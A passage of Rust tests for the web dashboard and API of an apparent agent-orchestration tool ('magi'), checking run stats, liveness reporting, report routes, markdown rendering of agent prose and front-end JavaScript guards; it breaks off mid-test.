12098 assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
12099 assert_eq!(stats.json()["runs_unreadable"], 0);
12100 assert!(stats.json()["agents"].as_array().unwrap().is_empty());
12101 assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
12102 assert!(stats.json()["repos"].as_array().unwrap().is_empty());
12103 assert_eq!(stats.json()["repo"], Value::Null);
12104 }
12105
12106 #[tokio::test]
12107 async fn stats_lists_every_repository_with_runs_recorded() {
12108 let f = Fixture::start().await;
12109 write_run_repo(
12110 &f.runs(),
12111 "20260902-140501-a",
12112 RunStatus::Merged,
12113 "/repos/a",
12114 );
12115 write_run_repo(
12116 &f.runs(),
12117 "20260902-140502-b",
12118 RunStatus::Merged,
12119 "/repos/a",
12120 );
12121 write_run_repo(
12122 &f.runs(),
12123 "20260902-140503-c",
12124 RunStatus::Blocked,
12125 "/repos/b",
12126 );
12127
12128 let stats = f.get("/api/stats").await;
12129 assert_eq!(stats.status, 200);
12130 assert_eq!(stats.json()["totals"]["runs"], 3);
12132 assert_eq!(stats.json()["repo"], Value::Null);
12133
12134 let repos = stats.json()["repos"].clone();
12135 let repos = repos.as_array().unwrap();
12136 assert_eq!(repos.len(), 2);
12137 assert_eq!(repos[0]["repo"], "/repos/a");
12139 assert_eq!(repos[0]["name"], "a");
12140 assert_eq!(repos[0]["runs"], 2);
12141 assert_eq!(repos[1]["repo"], "/repos/b");
12142 assert_eq!(repos[1]["runs"], 1);
12143 }
12144
12145 #[tokio::test]
12146 async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
12147 let f = Fixture::start().await;
12148 write_run_repo(
12149 &f.runs(),
12150 "20260902-140501-a",
12151 RunStatus::Merged,
12152 "/repos/a",
12153 );
12154 write_run_repo(
12155 &f.runs(),
12156 "20260902-140502-b",
12157 RunStatus::Blocked,
12158 "/repos/b",
12159 );
12160
12161 let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
12162 assert_eq!(stats.status, 200);
12163 assert_eq!(stats.json()["totals"]["runs"], 1);
12164 assert_eq!(stats.json()["totals"]["merged"], 1);
12165 assert_eq!(stats.json()["repo"], "/repos/a");
12166 assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
12169 assert_eq!(stats.json()["runs_unreadable"], 0);
12172 }
12173
12174 #[tokio::test]
12175 async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
12176 let f = Fixture::start().await;
12177 write_run_repo(
12178 &f.runs(),
12179 "20260902-140501-a",
12180 RunStatus::Merged,
12181 "/repos/a",
12182 );
12183 write_run_repo(
12184 &f.runs(),
12185 "20260902-140502-b",
12186 RunStatus::Merged,
12187 "/repos/b",
12188 );
12189
12190 for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
12191 let json = f.get(uri).await.json();
12192 let daily = json["daily"].as_array().expect("daily is an array");
12193 assert_eq!(daily.len(), 30);
12194 let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
12195 let mut sorted = dates.clone();
12196 sorted.sort();
12197 assert_eq!(dates, sorted);
12198 for d in daily {
12199 assert_eq!(
12200 d["merged"].as_u64().unwrap()
12201 + d["ready"].as_u64().unwrap()
12202 + d["other"].as_u64().unwrap(),
12203 d["runs"].as_u64().unwrap()
12204 );
12205 }
12206 assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
12207 }
12208 }
12209
12210 #[tokio::test]
12211 async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
12212 let f = Fixture::start().await;
12213 write_run_repo(
12214 &f.runs(),
12215 "20260902-140501-a",
12216 RunStatus::Merged,
12217 "/repos/a",
12218 );
12219
12220 let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
12221 assert_eq!(stats.status, 404);
12222 }
12223
12224 #[tokio::test]
12225 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
12226 let f = Fixture::start().await;
12227 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
12228
12229 let summary = f.get("/api/runs").await.json();
12230 let row = &summary[0];
12231 assert_eq!(row["short"], "a1b2");
12232 assert_eq!(row["status"], "ready");
12233 assert_eq!(row["done"], true);
12234 assert_eq!(row["title"], "Add a web UI");
12235 assert_eq!(row["repo_name"], "magi");
12236 assert_eq!(row["judges"], 3);
12237 assert_eq!(row["winner"], Value::Null);
12238 assert_eq!(row["reviews"], 0);
12239
12240 let detail = f.get("/api/runs/a1b2").await;
12243 assert_eq!(detail.status, 200);
12244 assert_eq!(detail.json()["base_branch"], "main");
12245 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
12246 }
12247
12248 #[tokio::test]
12256 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
12257 let f = Fixture::start().await;
12258
12259 let mut none_run = RunState::new(
12260 PathBuf::from("/repo/magi"),
12261 "main".to_owned(),
12262 "0123456789abcdef".to_owned(),
12263 "Add a web UI".to_owned(),
12264 Config::default(),
12265 );
12266 none_run.id = "20260902-140503-none".to_owned();
12267 none_run.status = RunStatus::Ready;
12268 none_run.merge = Some(crate::run::MergeOutcome {
12269 mode: crate::config::MergeMode::None,
12270 ok: true,
12271 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
12272 empty: false,
12273 });
12274 write_state(&f.runs(), &none_run);
12275
12276 let mut pr_run = RunState::new(
12277 PathBuf::from("/repo/magi"),
12278 "main".to_owned(),
12279 "0123456789abcdef".to_owned(),
12280 "Add a web UI".to_owned(),
12281 Config::default(),
12282 );
12283 pr_run.id = "20260902-140504-prcl".to_owned();
12284 pr_run.status = RunStatus::Ready;
12285 pr_run.merge = Some(crate::run::MergeOutcome {
12286 mode: crate::config::MergeMode::Pr,
12287 ok: false,
12288 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
12289 empty: false,
12290 });
12291 write_state(&f.runs(), &pr_run);
12292
12293 let summary = f.get("/api/runs").await.json();
12294 let rows: std::collections::HashMap<&str, &Value> = summary
12295 .as_array()
12296 .expect("an array")
12297 .iter()
12298 .map(|r| (r["id"].as_str().expect("an id"), r))
12299 .collect();
12300 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
12301 assert_eq!(
12302 rows[none_run.id.as_str()]["unmerged_by_design"],
12303 true,
12304 "a mode-none Ready must be flagged in the list"
12305 );
12306 assert_eq!(
12307 rows[pr_run.id.as_str()]["unmerged_by_design"],
12308 false,
12309 "a Ready reached by a closed pull request is a different case"
12310 );
12311
12312 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
12313 assert_eq!(none_detail["status"], "ready");
12314 assert_eq!(none_detail["unmerged_by_design"], true);
12315
12316 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
12317 assert_eq!(pr_detail["unmerged_by_design"], false);
12318 }
12319
12320 #[tokio::test]
12325 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
12326 let f = Fixture::start().await;
12327 let id = "20260902-140502-bbbb";
12331 let mut state = RunState::new(
12332 PathBuf::from("/repo/magi"),
12333 "main".to_owned(),
12334 "0123456789abcdef".to_owned(),
12335 "Add a web UI".to_owned(),
12336 Config::default(),
12337 );
12338 state.id = id.to_owned();
12339 state.status = RunStatus::Judging;
12340 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
12341 let dir = f.runs().join(id);
12342 std::fs::create_dir_all(&dir).expect("run dir");
12343 std::fs::write(
12344 dir.join("run.json"),
12345 serde_json::to_string_pretty(&state).expect("serialize run"),
12346 )
12347 .expect("write run.json");
12348
12349 let cold = f.get(&format!("/api/runs/{id}")).await.json();
12355 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
12356 assert_eq!(cold["live"], "unknown", "{cold}");
12357
12358 write_daemon(f.home.path(), Timestamp::now());
12361 let warm = f.get(&format!("/api/runs/{id}")).await.json();
12362 assert_eq!(warm["live"], "live", "{warm}");
12363 }
12364
12365 #[tokio::test]
12368 async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
12369 let f = Fixture::start().await;
12370 let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
12371 let mut state = RunState::new(
12372 PathBuf::from("/repo/magi"),
12373 "main".to_owned(),
12374 "0123456789abcdef".to_owned(),
12375 "Add a web UI".to_owned(),
12376 Config::default(),
12377 );
12378 state.id = id.to_owned();
12379 state.origin = origin;
12380 let mut value = serde_json::to_value(&state).expect("serialize run");
12381 if let Some(schema) = schema {
12382 value["schema"] = serde_json::json!(schema);
12383 value.as_object_mut().unwrap().remove("origin");
12384 }
12385 let dir = f.runs().join(id);
12386 std::fs::create_dir_all(&dir).expect("run dir");
12387 std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
12388 };
12389 write(
12390 "20260930-092817-ec34",
12391 Some(crate::run::Origin::from_agent_env(
12392 Some(("4a7b".to_owned(), "chat".to_owned())),
12393 None,
12394 )),
12395 None,
12396 );
12397 write("20260930-092817-0ld1", None, Some(12));
12398
12399 let new = f.get("/api/runs/20260930-092817-ec34").await.json();
12400 assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
12401 assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
12402
12403 let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
12404 assert_eq!(
12405 old["origin_label"], "origin unknown (started before origins were recorded)",
12406 "{old}"
12407 );
12408 assert!(old["origin"].is_null(), "{old}");
12409
12410 let list = f.get("/api/runs").await.json();
12411 let labels: Vec<_> = list
12412 .as_array()
12413 .unwrap()
12414 .iter()
12415 .map(|r| r["origin_label"].as_str().unwrap().to_owned())
12416 .collect();
12417 assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
12418 }
12419
12420 #[tokio::test]
12427 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
12428 let f = Fixture::start().await;
12429 let id = "20260922-090000-cccc";
12430 let mut state = RunState::new(
12431 PathBuf::from("/repo/magi"),
12432 "main".to_owned(),
12433 "0123456789abcdef".to_owned(),
12434 "Review only".to_owned(),
12435 Config::default(),
12436 );
12437 state.id = id.to_owned();
12438 state.status = RunStatus::Reviewing;
12439 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
12440 state.driver_pid = Some(std::process::id());
12446 state.driver_started_at = Some(
12447 crate::proc::process_started_at(std::process::id())
12448 .expect("this test process's own start time must be queryable"),
12449 );
12450 let dir = f.runs().join(id);
12451 std::fs::create_dir_all(&dir).expect("run dir");
12452 std::fs::write(
12453 dir.join("run.json"),
12454 serde_json::to_string_pretty(&state).expect("serialize run"),
12455 )
12456 .expect("write run.json");
12457
12458 let detail = f.get(&format!("/api/runs/{id}")).await.json();
12459 assert_eq!(detail["live"], "live", "{detail}");
12460 }
12461
12462 #[tokio::test]
12468 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
12469 let f = Fixture::start().await;
12470 let id = "20260922-090100-dddd";
12471 let mut state = RunState::new(
12472 PathBuf::from("/repo/magi"),
12473 "main".to_owned(),
12474 "0123456789abcdef".to_owned(),
12475 "Review only".to_owned(),
12476 Config::default(),
12477 );
12478 state.id = id.to_owned();
12479 state.status = RunStatus::Reviewing;
12480 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
12481 state.driver_pid = Some(std::process::id());
12486 state.driver_started_at = Some("1".to_owned());
12487 let dir = f.runs().join(id);
12488 std::fs::create_dir_all(&dir).expect("run dir");
12489 std::fs::write(
12490 dir.join("run.json"),
12491 serde_json::to_string_pretty(&state).expect("serialize run"),
12492 )
12493 .expect("write run.json");
12494
12495 let detail = f.get(&format!("/api/runs/{id}")).await.json();
12496 assert_eq!(detail["live"], "dead", "{detail}");
12497 }
12498
12499 #[test]
12503 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
12504 let mk = |id: &str, pid: Option<u32>| {
12505 let mut s = RunState::new(
12506 PathBuf::from("/repo/magi"),
12507 "main".to_owned(),
12508 "0123456789abcdef".to_owned(),
12509 "Add a web UI".to_owned(),
12510 Config::default(),
12511 );
12512 s.id = id.to_owned();
12513 s.driver_pid = pid;
12514 s.driver_started_at = Some("1790000000".to_owned());
12515 s
12516 };
12517 let states = vec![
12518 mk("20260902-140502-aaaa", Some(77)),
12519 mk("20260902-140502-bbbb", Some(77)),
12520 mk("20260902-140502-cccc", Some(77)),
12521 mk("20260902-140502-dddd", None),
12522 ];
12523 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
12524 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
12525 let sup: HashMap<String, String> = [(
12526 "20260902-140502-aaaa".to_owned(),
12527 "20260902-140502-cccc".to_owned(),
12528 )]
12529 .into();
12530
12531 let status_calls = std::cell::Cell::new(0);
12532 let identity_calls = std::cell::Cell::new(0);
12533 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
12534 |_| {
12535 status_calls.set(status_calls.get() + 1);
12536 Some(true)
12537 },
12538 |_| {
12539 identity_calls.set(identity_calls.get() + 1);
12540 Some("1790000000".to_owned())
12541 },
12542 ));
12543 let rows = summarize(
12544 states,
12545 &open,
12546 &claimed,
12547 &sup,
12548 |p| probe.borrow_mut().status(p),
12549 |p| probe.borrow_mut().started_at(p),
12550 );
12551
12552 assert_eq!(status_calls.get(), 1, "one pid, one status query");
12553 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
12554 assert_eq!(rows.len(), 4);
12555 assert!(!rows[0].waiting && rows[1].waiting);
12556 assert_eq!(rows[0].live, crate::run::Liveness::Live);
12557 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
12558 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
12559 assert_eq!(rows[1].superseded_by, None);
12560 }
12561
12562 #[test]
12563 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
12564 let mut state = RunState::new(
12565 PathBuf::from("/repo/magi"),
12566 "main".to_owned(),
12567 "0123456789abcdef".to_owned(),
12568 "Review only".to_owned(),
12569 Config::default(),
12570 );
12571 state.id = "20260922-090200-dead".to_owned();
12572 state.status = RunStatus::Reviewing;
12573 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
12574 .expect("serialize list row");
12575 assert_eq!(row["status"], "reviewing");
12576 assert_eq!(row["live"], "dead", "{row}");
12577 assert!(!row["done"].as_bool().unwrap());
12578 }
12579
12580 #[tokio::test]
12581 async fn the_run_list_is_newest_first_and_honours_a_limit() {
12582 let f = Fixture::start().await;
12583 for id in [
12584 "20260902-140501-aaaa",
12585 "20260902-140502-bbbb",
12586 "20260902-140503-cccc",
12587 ] {
12588 write_run(&f.runs(), id, RunStatus::Merged);
12589 }
12590
12591 let all = f.get("/api/runs").await.json();
12592 let capped = f.get("/api/runs?limit=2").await.json();
12593
12594 assert_eq!(all[0]["id"], "20260902-140503-cccc");
12595 assert_eq!(all.as_array().map(Vec::len), Some(3));
12596 assert_eq!(capped.as_array().map(Vec::len), Some(2));
12597 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
12598 }
12599
12600 #[tokio::test]
12601 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
12602 let f = Fixture::start().await;
12603 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
12604
12605 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
12606
12607 assert_eq!(res.status, 200);
12608 assert!(
12609 res.headers
12610 .contains("content-type: text/plain; charset=utf-8"),
12611 "a browser must render it, not download it: {}",
12612 res.headers
12613 );
12614 assert!(
12618 res.body.contains("20260902-140501-a1b2"),
12619 "the report is about the run that was asked for: {}",
12620 res.body
12621 );
12622 }
12623
12624 #[tokio::test]
12625 async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
12626 crate::run::pin_test_home();
12628 let f = Fixture::start().await;
12629 let id = "20260902-140501-a1b2";
12630 write_run(&f.runs(), id, RunStatus::Stalled);
12631 let path = f.runs().join(id).join("run.json");
12634 let mut v: serde_json::Value =
12635 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
12636 v["tally"] = serde_json::json!({
12637 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
12638 "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
12639 "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
12640 "met_quorum": false, "rankings": 1
12641 });
12642 v["reviews"] = serde_json::json!([{
12643 "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
12644 "e2e_deferred": true,
12645 "reviews": [{"reviewer": 1, "agent": "a", "findings": [
12646 {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
12647 ]}]
12648 }]);
12649 std::fs::write(&path, v.to_string()).unwrap();
12650 write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
12651 std::fs::write(
12652 f.runs().join("20260902-140502-dead").join("run.json"),
12653 "{not json",
12654 )
12655 .unwrap();
12656
12657 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
12658
12659 assert_eq!(res.status, 200, "{}", res.body);
12660 assert!(res.headers.contains("content-type: application/json"));
12661 let j = res.json();
12662 assert_eq!(j["schema"], 1);
12663 assert_eq!(j["header"]["id"], id);
12664 assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
12665 let kinds: Vec<&str> = j["sections"]
12666 .as_array()
12667 .unwrap()
12668 .iter()
12669 .map(|s| s["kind"].as_str().unwrap())
12670 .collect();
12671 assert_eq!(kinds, ["candidates", "tally", "review"]);
12672 let tally = &j["sections"][1]["tally"];
12673 assert_eq!(
12674 (tally["decided"].clone(), tally["provisional"].clone()),
12675 (false.into(), true.into())
12676 );
12677 let round = &j["sections"][2]["rounds"][0];
12678 assert_eq!(round["e2e"]["state"], "deferred");
12679 assert_eq!(round["findings"][0]["severity"], "major");
12680 assert_eq!(round["findings"][0]["blocking"], true);
12681 assert_eq!(round["findings"][0]["state"], "open");
12682
12683 assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
12685
12686 let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
12688 assert_ne!(bad.status, 200, "{}", bad.body);
12689 assert_eq!(
12690 bad.status,
12691 f.get("/api/runs/20260902-140502-dead/report").await.status
12692 );
12693 assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
12694 assert_eq!(
12695 f.get("/api/runs/20260902-999999-ffff/report.json")
12696 .await
12697 .status,
12698 404
12699 );
12700 }
12701
12702 #[tokio::test]
12703 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
12704 let f = Fixture::start().await;
12705
12706 let html = f.get("/").await;
12707 let css = f.get("/app.css").await;
12708 let js = f.get("/app.js").await;
12709
12710 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
12711 assert!(
12712 html.headers
12713 .contains("content-type: text/html; charset=utf-8")
12714 );
12715 assert!(css.headers.contains("content-type: text/css"));
12716 assert!(js.headers.contains("content-type: text/javascript"));
12717 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
12718 }
12719
12720 #[test]
12721 fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
12722 let body = |name: &str| {
12723 let at = APP_JS
12724 .find(name)
12725 .unwrap_or_else(|| panic!("{name} missing"));
12726 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
12727 };
12728 assert!(body("function roundRail").contains("if (round <= 0) return null;"));
12729 let note = body("function landRoundNote");
12730 assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
12731 assert!(note.contains("Land round ${round}"));
12732 let land = body("function renderLand");
12733 let note_at = land
12734 .find("landRoundNote(pr)")
12735 .expect("renderLand uses the note");
12736 assert!(
12737 note_at
12738 < land
12739 .find("roundRail(pr)")
12740 .expect("renderLand uses the rail")
12741 );
12742 }
12743
12744 #[test]
12745 fn the_runs_page_redesign_keeps_its_guards() {
12746 let body = |name: &str| {
12747 let at = APP_JS
12748 .find(name)
12749 .unwrap_or_else(|| panic!("{name} missing"));
12750 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
12751 };
12752 let land = body("function renderLand");
12754 let land = &land[..land.find("function followupList").unwrap_or(land.len())];
12755 assert!(
12756 !land.contains("box.append("),
12757 "renderLand must use append()"
12758 );
12759 assert!(land.contains("append(box, ["));
12760 assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
12762 assert!(
12763 body("function applyRoute")
12764 .contains("route.name !== state.route.name || route.id !== state.route.id")
12765 );
12766 assert!(!APP_JS.contains("adviseConvergeDiagram"));
12768 assert!(!INDEX_HTML.contains("advise-converge"));
12769 assert!(INDEX_HTML.contains("id=\"advise-strip\""));
12770 assert!(APP_JS.contains("provisional"));
12771 for id in [
12772 "run-tab-overview",
12773 "run-tab-timeline",
12774 "run-tab-report",
12775 "run-report",
12776 "runs-scope",
12777 ] {
12778 assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
12779 }
12780 assert!(!INDEX_HTML.contains("runs-tree"));
12781 assert!(!INDEX_HTML.contains("run-raw-panel"));
12782 assert!(APP_JS.contains("resume"));
12784 assert!(APP_JS.contains("unreadable"));
12786 }
12787
12788 #[test]
12789 fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
12790 assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
12791 assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
12792 assert!(APP_JS.contains("setText(\n $(\"stats-unreadable-text\")"));
12793 assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
12794 assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
12795 assert!(APP_JS.contains("unreadable` : null"));
12797 }
12798
12799 #[test]
12800 fn the_run_detail_payload_says_whether_the_run_is_done() {
12801 for (status, done) in [
12803 (RunStatus::Superseded, true),
12804 (RunStatus::Blocked, true),
12805 (RunStatus::Landing, false),
12806 ] {
12807 let mut state = RunState::new(
12808 std::path::PathBuf::from("/repo"),
12809 "main".to_owned(),
12810 "abc".to_owned(),
12811 "x".to_owned(),
12812 crate::config::Config::default(),
12813 );
12814 state.status = status;
12815 let v = serde_json::to_value(RunDetailView::of(
12816 state,
12817 crate::run::Liveness::Unknown,
12818 None,
12819 None,
12820 None,
12821 ))
12822 .unwrap();
12823 assert_eq!(v["done"], done, "{status:?}");
12824 }
12825 }
12826
12827 fn has_strong(nodes: &[md::Node]) -> bool {
12829 serde_json::to_string(nodes).unwrap().contains("strong")
12830 }
12831
12832 #[test]
12833 fn the_run_detail_payload_carries_markdown_for_agent_prose() {
12834 let mut state = RunState::new(
12835 std::path::PathBuf::from("/repo"),
12836 "main".to_owned(),
12837 "abc".to_owned(),
12838 "x".to_owned(),
12839 crate::config::Config::default(),
12840 );
12841 let proposal = |approach: &str| {
12842 serde_json::json!({
12843 "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
12844 })
12845 };
12846 state.advice = Some(
12847 serde_json::from_value(serde_json::json!({
12848 "records": [
12849 {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
12850 "proposal": proposal("do **this**")},
12851 {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
12852 ],
12853 "synthesis": "- one\n- **two**\n\n`code`",
12854 }))
12855 .unwrap(),
12856 );
12857 state.candidates = serde_json::from_value(serde_json::json!([
12858 {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
12859 "summary": "did **it**"},
12860 {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
12861 ]))
12862 .unwrap();
12863 state.reviews = serde_json::from_value(serde_json::json!([{
12866 "round": 1, "head": "h",
12867 "reviews": [{
12868 "reviewer": 1, "agent": "a", "summary": "sum **mary**",
12869 "findings": [
12870 {"severity": "nit", "title": "t1", "detail": "plain nit"},
12871 {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
12872 ],
12873 }],
12874 "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
12875 "fix": {"agent": "a", "notes": "fixed **it**",
12876 "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
12877 }, {"round": 2, "head": "h2", "reviews": []}]))
12878 .unwrap();
12879
12880 let v = serde_json::to_value(RunDetailView::of(
12881 state,
12882 crate::run::Liveness::Unknown,
12883 None,
12884 None,
12885 None,
12886 ))
12887 .unwrap();
12888
12889 let strong = |p: &str| {
12890 let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
12891 assert!(n.to_string().contains("strong"), "{p}: {n}");
12892 };
12893 strong("/advice_md/synthesis");
12894 assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
12895 assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
12896 strong("/advice_md/approaches/0");
12897 assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
12898 strong("/candidate_summaries_md/0");
12899 assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
12900 strong("/reviews_md/0/reviewers/0/summary");
12901 let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
12902 assert!(!f[0].to_string().contains("strong"), "recorded order kept");
12903 assert!(f[1].to_string().contains("strong"));
12904 strong("/reviews_md/0/reconsideration/0");
12905 strong("/reviews_md/0/fix/notes");
12906 strong("/reviews_md/0/fix/rejected/0");
12907 assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
12908 assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
12909 assert_eq!(v["candidates"][0]["summary"], "did **it**");
12911 assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
12912 }
12913
12914 #[test]
12915 fn a_run_without_advice_has_no_advice_md() {
12916 let state = RunState::new(
12917 std::path::PathBuf::from("/repo"),
12918 "main".to_owned(),
12919 "abc".to_owned(),
12920 "x".to_owned(),
12921 crate::config::Config::default(),
12922 );
12923 let p = run_prose_md(&state);
12924 assert!(p.advice_md.is_none());
12925 assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
12926 }
12927
12928 #[test]
12929 fn a_question_view_carries_markdown_for_each_thread_turn() {
12930 let home = TempDir::new().unwrap();
12931 let store = ask::Questions::at(home.path().join("questions"));
12932 let mut q = Question::new(
12933 "run".to_owned(),
12934 "implement".to_owned(),
12935 "impl-A".to_owned(),
12936 "which?".to_owned(),
12937 String::new(),
12938 Vec::new(),
12939 );
12940 q.say("plain words").unwrap();
12941 q.reply("use **this**", Vec::new()).unwrap();
12942 let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
12943 let bodies = &v["thread_bodies_md"];
12944 assert_eq!(bodies.as_array().unwrap().len(), 2);
12945 assert!(!bodies[0].to_string().contains("strong"));
12946 assert!(bodies[1].to_string().contains("strong"));
12947 }
12948
12949 #[test]
12950 fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
12951 let home = TempDir::new().unwrap();
12952 let store = ask::Questions::at(home.path().join("questions"));
12953 let mut q = Question::new(
12954 "run".to_owned(),
12955 "conduct".to_owned(),
12956 "conduct".to_owned(),
12957 "which?".to_owned(),
12958 String::new(),
12959 Vec::new(),
12960 );
12961 q.say("plain words").unwrap();
12962 q.thread.push(ask::Turn {
12963 who: ask::Who::Agent,
12964 body: "Settled as `merge`".to_owned(),
12965 at: jiff::Timestamp::now(),
12966 note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
12967 });
12968 let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
12969 let notes = &v["thread_notes_md"];
12970 assert_eq!(notes.as_array().unwrap().len(), 2);
12971 assert!(notes[0].is_null());
12972 let text = notes[1].to_string();
12973 assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
12974 assert!(APP_JS.contains("ask-turn-note"));
12975 }
12976
12977 #[test]
12978 fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
12979 assert!(APP_JS.contains("function landView(run, raw) {"));
12983 assert!(
12984 APP_JS.contains(
12985 "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
12986 )
12987 );
12988 assert!(APP_JS.contains("const pr = landView(run, raw);"));
12989 assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
12990 assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
12991 assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
12992 }
12993
12994 #[test]
12995 fn live_runs_are_never_hidden_or_folded_as_superseded() {
12996 assert!(APP_JS.contains("function isLiveAttempt(run) {\n return !run.done;"));
12997 assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
12998 assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
12999 assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
13000 }
13001
13002 #[test]
13003 fn review_rounds_label_a_distinct_verified_head() {
13004 assert!(APP_JS.contains("round.verified_head"));
13005 assert!(APP_JS.contains("verified HEAD"));
13006 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
13007 }
13008
13009 #[test]
13010 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
13011 assert!(APP_JS.contains("blocked: { glyph:"));
13015 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
13016
13017 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
13021 assert!(
13022 APP_JS.contains(
13023 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
13024 ),
13025 "the note line must name what a blocked task is waiting on, not just that it is blocked"
13026 );
13027 assert!(APP_JS.contains("if (status === \"blocked\") {"));
13031
13032 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
